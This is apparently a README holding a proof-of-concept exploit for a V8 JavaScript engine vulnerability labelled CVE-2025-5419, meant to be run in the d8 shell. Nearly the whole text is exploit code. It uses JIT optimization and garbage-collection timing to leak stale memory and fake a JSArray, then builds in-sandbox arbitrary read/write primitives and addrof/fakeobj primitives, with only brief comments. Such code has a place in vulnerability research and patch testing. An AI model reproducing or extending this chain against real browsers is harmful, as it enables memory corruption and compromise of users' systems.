README.md
Rendering markdown...
// Commit: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09, 135.0.7049.52
// out/StaticReleaseWithSymbol/d8 --allow-natives-syntax --trace-opt --trace-deopt --trace-gc CVE-2025-5419.js
const ab = new ArrayBuffer(8);
const f64a = new Float64Array(ab, 0, 1);
const i32a = new Uint32Array(ab, 0, 2);
const bi64a = new BigUint64Array(ab, 0, 1);
function c2f(low, high = 0) { // combined (two 4 bytes) word to float
i32a[0] = low;
i32a[1] = high;
return f64a[0];
}
function b2f(v) { // bigint to float
bi64a[0] = v;
return f64a[0];
}
function f2b(v) { // float to bigint
f64a[0] = v;
return bi64a[0];
}
function fhw(v) { // high word of float
f64a[0] = v;
return i32a[1];
}
function flw(v) { // low word of float
f64a[0] = v;
return i32a[0];
}
function bhw(v) { // high word of bigint
bi64a[0] = v;
return i32a[1];
}
function blw(v) { // low word of bigint
bi64a[0] = v;
return i32a[0];
}
function unptr(v) {
return v & 0xfffffffe;
}
function ptr(v) {
return v | 1;
}
function smi(v) {
return v << 1;
}
function minor_gc() { // scavenge
let arr = new Array(0x10000);
for(let i = 0; i < arr.length; i++) {
arr[i] = new String("");
}
}
function major_gc() { // mark-sweep
new ArrayBuffer(0x7fe00000);
}
// This object will survive across gc runs.
const faked_object_container = [0.0, 1.1, 2.2, 3.3];
function opt_leak(i) {
let arr = [0, 1, 2, 3, 4, 5, 6, 7, 8];
[arr[i + 0], arr[i + 1], arr[i + 2], arr[i + 3], arr[i + 4], arr[i + 5], arr[i + 6], arr[i + 7], arr[i + 8]];
arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
arr[0] = arr[i + 0]; arr[1] = arr[i + 1]; arr[2] = arr[i + 2]; arr[3] = arr[i + 3];
arr[4] = arr[i + 4]; arr[5] = arr[i + 5]; arr[6] = arr[i + 6]; arr[7] = arr[i + 7]; arr[8] = arr[i + 8];
return [arr[0], arr[1], arr[2], arr[3], arr[4], arr[5], arr[6], arr[7], arr[8]];
}
const PACKED_ELEMENTS_trigger_obj = {};
function opt_fake_obj(i) {
let arr = [1, 2, 3];
arr[i];
arr = [1, 2, PACKED_ELEMENTS_trigger_obj];
arr[0] = arr[i];
return arr[0];
}
// %PrepareFunctionForOptimization(opt_leak);
// opt_leak(0);
// %OptimizeFunctionOnNextCall(opt_leak);
// opt_leak(0);
for (let i = 0; i < 100000; i++) {
opt_leak(0);
}
// %PrepareFunctionForOptimization(opt_fake_obj);
// opt_fake_obj(0);
// %OptimizeFunctionOnNextCall(opt_fake_obj);
// opt_fake_obj(0);
for (let i = 0; i < 100000; i++) {
opt_fake_obj(0);
}
function leak(obj) {
minor_gc();
major_gc();
let objArr = [obj, 0x1234]; // PACKED_ELEMENTS
let dblArr = [1.1]; // PACKED_DOUBLE_ELEMENTS
let objArr2 = [obj, 0x5678];
// %DebugPrint(objArr);
// %DebugPrint(dblArr);
// %DebugPrint(objArr2);
objArr = null;
dblArr = null;
objArr2 = null;
minor_gc();
major_gc();
let result = opt_leak(0);
// %DebugPrint(result);
// console.log("opt_leak: " + result.map((v) => {return f2b(v).toString(16).padStart(16, "0");}));
// [
// 0: Smi(0x1234) | addrof(PACKED_ELEMENTS_trigger_obj),
// 1: FixedArray[0] | PACKED_ELEMENTS_Map,
// 2: objArr.length | objArr.elements,
// 3: dblArr.elements.length | FixedDoubleArray_Map,
// 4: IEEE754(1.1),
// 5: FixedArray[0] | PACKED_DOUBLE_ELEMENTS_Map,
// 6: dblArr.length | dblArr.elements,
// 7: objArr2.elements.length | FixedArray_Map,
// 8: Smi(0x5678) | addrof(PACKED_ELEMENTS_trigger_obj),
// ]
if (fhw(result[0]) != smi(0x1234) || Math.abs(result[4] - 1.1) > 1e-5 || fhw(result[8]) != smi(0x5678) || flw(result[0] != flw(result[8]))) {
throw new Error("leak: Unexpected GC behaviour");
}
return [result, flw(result[0])];
}
// Test Unstable AddressOf
// let [leaks, addr] = leak(PACKED_ELEMENTS_trigger_obj);
// console.log(addr.toString(16));
// %DebugPrint(PACKED_ELEMENTS_trigger_obj);
function _fake(addr) {
minor_gc();
major_gc();
let dblArr = [addr, 1.1]; // PACKED_DOUBLE_ELEMENTS
// %DebugPrint(objArr);
dblArr = null;
minor_gc();
major_gc();
let result = opt_fake_obj(0);
return result;
}
function fake(addr) {
return _fake(c2f(addr, 0));
}
// Test Unstable FakeObject
// let faked_obj = fake(0xdeadbeef);
// %DebugPrint(faked_obj);
let [leak_values, faked_object_container_addr] = leak(faked_object_container);
const PACKED_ELEMENTS_Map = flw(leak_values[1]);
const PACKED_DOUBLE_ELEMENTS_Map = flw(leak_values[5]);
const FixedArray_Map = flw(leak_values[7]);
const FixedDoubleArray_Map = flw(leak_values[3]);
const EmptyFixedArray = fhw(leak_values[1]);
// Fake an JSArray with PACKED_DOUBLE_ELEMENTS elementsKind
const faked_array_length = 0x1000_0000;
faked_object_container[0] = c2f(PACKED_DOUBLE_ELEMENTS_Map, EmptyFixedArray); // map, properties
faked_object_container[1] = c2f(EmptyFixedArray, smi(faked_array_length)); // elements, length
// %DebugPrint(faked_object_container);
const faked_object_container_elements_values_to_itself_offset = 0x168 + 0x8;
let faked_arr_addr = faked_object_container_addr + faked_object_container_elements_values_to_itself_offset;
// [!] `faked_arr` is a faked reference! Remember to clear it before next GC!
let faked_arr = fake(faked_arr_addr);
// %DebugPrint(faked_object_container);
// %DebugPrint(faked_arr);
if (faked_arr.length != faked_array_length) {
throw new Error("Array faking failed!");
}
// The following primitives are hopefully functional under the condition that more GC won't cause `faked_arr`'s movement.
const MinimiumModifiableCageAddress = EmptyFixedArray - 0x1 + 0x8;
function _switch_to_PACKED_DOUBLE_ELEMENTS_Map() {
faked_object_container[0] = c2f(PACKED_DOUBLE_ELEMENTS_Map, EmptyFixedArray);
}
function _switch_to_PACKED_ELEMENTS_Map() {
faked_object_container[0] = c2f(PACKED_ELEMENTS_Map, EmptyFixedArray);
}
function _cage_address_difference_is_QWORD_aligned(addr) {
return !((addr - MinimiumModifiableCageAddress) & 7);
}
function _cage_read64(addr) { // (number) -> float
if (addr < MinimiumModifiableCageAddress) throw new Error("addr must after EmptyFixedArray.objects!");
if (!_cage_address_difference_is_QWORD_aligned(addr)) throw new Error("difference must be QWORD aligned!");
let difference = addr - MinimiumModifiableCageAddress;
let index = difference >> 3;
return faked_arr[index];
}
function _cage_write64(addr, value) { // (number, float) -> void
if (addr < MinimiumModifiableCageAddress) throw new Error("addr must after EmptyFixedArray.objects!");
if (!_cage_address_difference_is_QWORD_aligned(addr)) throw new Error("difference must be QWORD aligned!");
let difference = addr - MinimiumModifiableCageAddress;
let index = difference >> 3;
faked_arr[index] = value;
}
function cage_read32(addr) { // (number) -> (number)
if (addr & 3) throw new Error("addr must be DWORD aligned!");
let isLowDWORD = _cage_address_difference_is_QWORD_aligned(addr);
if (!isLowDWORD) addr -= 0x4;
let QWORD_result = _cage_read64(addr);
return isLowDWORD ? flw(QWORD_result): fhw(QWORD_result);
}
function cage_read64(addr) { // (number) -> bigint
if (_cage_address_difference_is_QWORD_aligned(addr)) {
return f2b(_cage_read64(addr));
}
return f2b(c2f(cage_read32(addr), cage_read32(addr + 0x4)));
}
function cage_write32(addr, value) { // (number, number) -> void
if (addr & 3) throw new Error("addr must be DWORD aligned!");
let isLowDWORD = _cage_address_difference_is_QWORD_aligned(addr);
if (!isLowDWORD) addr -= 0x4;
let QWORD_result = _cage_read64(addr);
if (isLowDWORD) _cage_write64(addr, c2f(value, fhw(QWORD_result)));
else _cage_write64(addr, c2f(flw(QWORD_result), value));
}
function cage_write64(addr, value) { // (number, bigint) -> void
if (_cage_address_difference_is_QWORD_aligned(addr)) {
_cage_write64(addr, b2f(value));
return;
}
cage_write32(addr, blw(value));
cage_write32(addr + 0x4, bhw(value));
}
// Validate the correctness of cage_read32
if (cage_read32(unptr(faked_arr_addr)) != PACKED_DOUBLE_ELEMENTS_Map) {
throw new Error("cage_read32 validation failed!");
}
let faked_arr_elements_addr = faked_arr_addr + 0x10;
function addrof(obj) {
const difference = faked_arr_elements_addr - 0x1 - MinimiumModifiableCageAddress;
_switch_to_PACKED_ELEMENTS_Map();
faked_arr[difference >> 2] = obj;
_switch_to_PACKED_DOUBLE_ELEMENTS_Map();
return flw(faked_object_container[2]);
}
// Test Stable AddressOf
// let obj = {};
// %DebugPrint(obj);
// console.log(addrof(obj).toString(16));
function fakeobj(addr) {
const difference = faked_arr_elements_addr - 0x1 - MinimiumModifiableCageAddress;
faked_object_container[2] = c2f(addr);
_switch_to_PACKED_ELEMENTS_Map();
let obj = faked_arr[difference >> 2];
_switch_to_PACKED_DOUBLE_ELEMENTS_Map();
return obj;
}
// Test Stable FakeObject
// let faked_obj = fakeobj(0xdeadbeef);
// %DebugPrint(faked_obj);